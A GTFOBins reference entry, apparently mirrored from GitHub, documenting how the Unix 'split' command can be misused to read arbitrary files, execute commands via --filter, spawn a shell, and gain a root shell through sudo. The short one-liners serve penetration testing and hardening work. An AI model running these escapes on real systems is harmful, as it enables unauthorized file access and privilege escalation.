mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-19 02:11:39 +02:00
28 lines
595 B
Markdown
28 lines
595 B
Markdown
|
---
|
||
|
functions:
|
||
|
file-read:
|
||
|
- code: |
|
||
|
LFILE=file_to_read
|
||
|
TF=$(mktemp)
|
||
|
split $LFILE $TF
|
||
|
cat $TF*
|
||
|
command:
|
||
|
- description: Command execution using an existing or new created file.
|
||
|
- code: |
|
||
|
COMMAND=id
|
||
|
TF=$(mktemp)
|
||
|
split --filter=$COMMAND $TF
|
||
|
- description: Command execution using stdin (and close it directly).
|
||
|
code: |
|
||
|
COMMAND=id
|
||
|
echo | split --filter=$COMMAND /dev/stdin
|
||
|
shell:
|
||
|
- code: |
|
||
|
split --filter=bash /dev/stdin
|
||
|
sudo:
|
||
|
- code: |
|
||
|
split --filter=bash /dev/stdin
|
||
|
---
|
||
|
|
||
|
|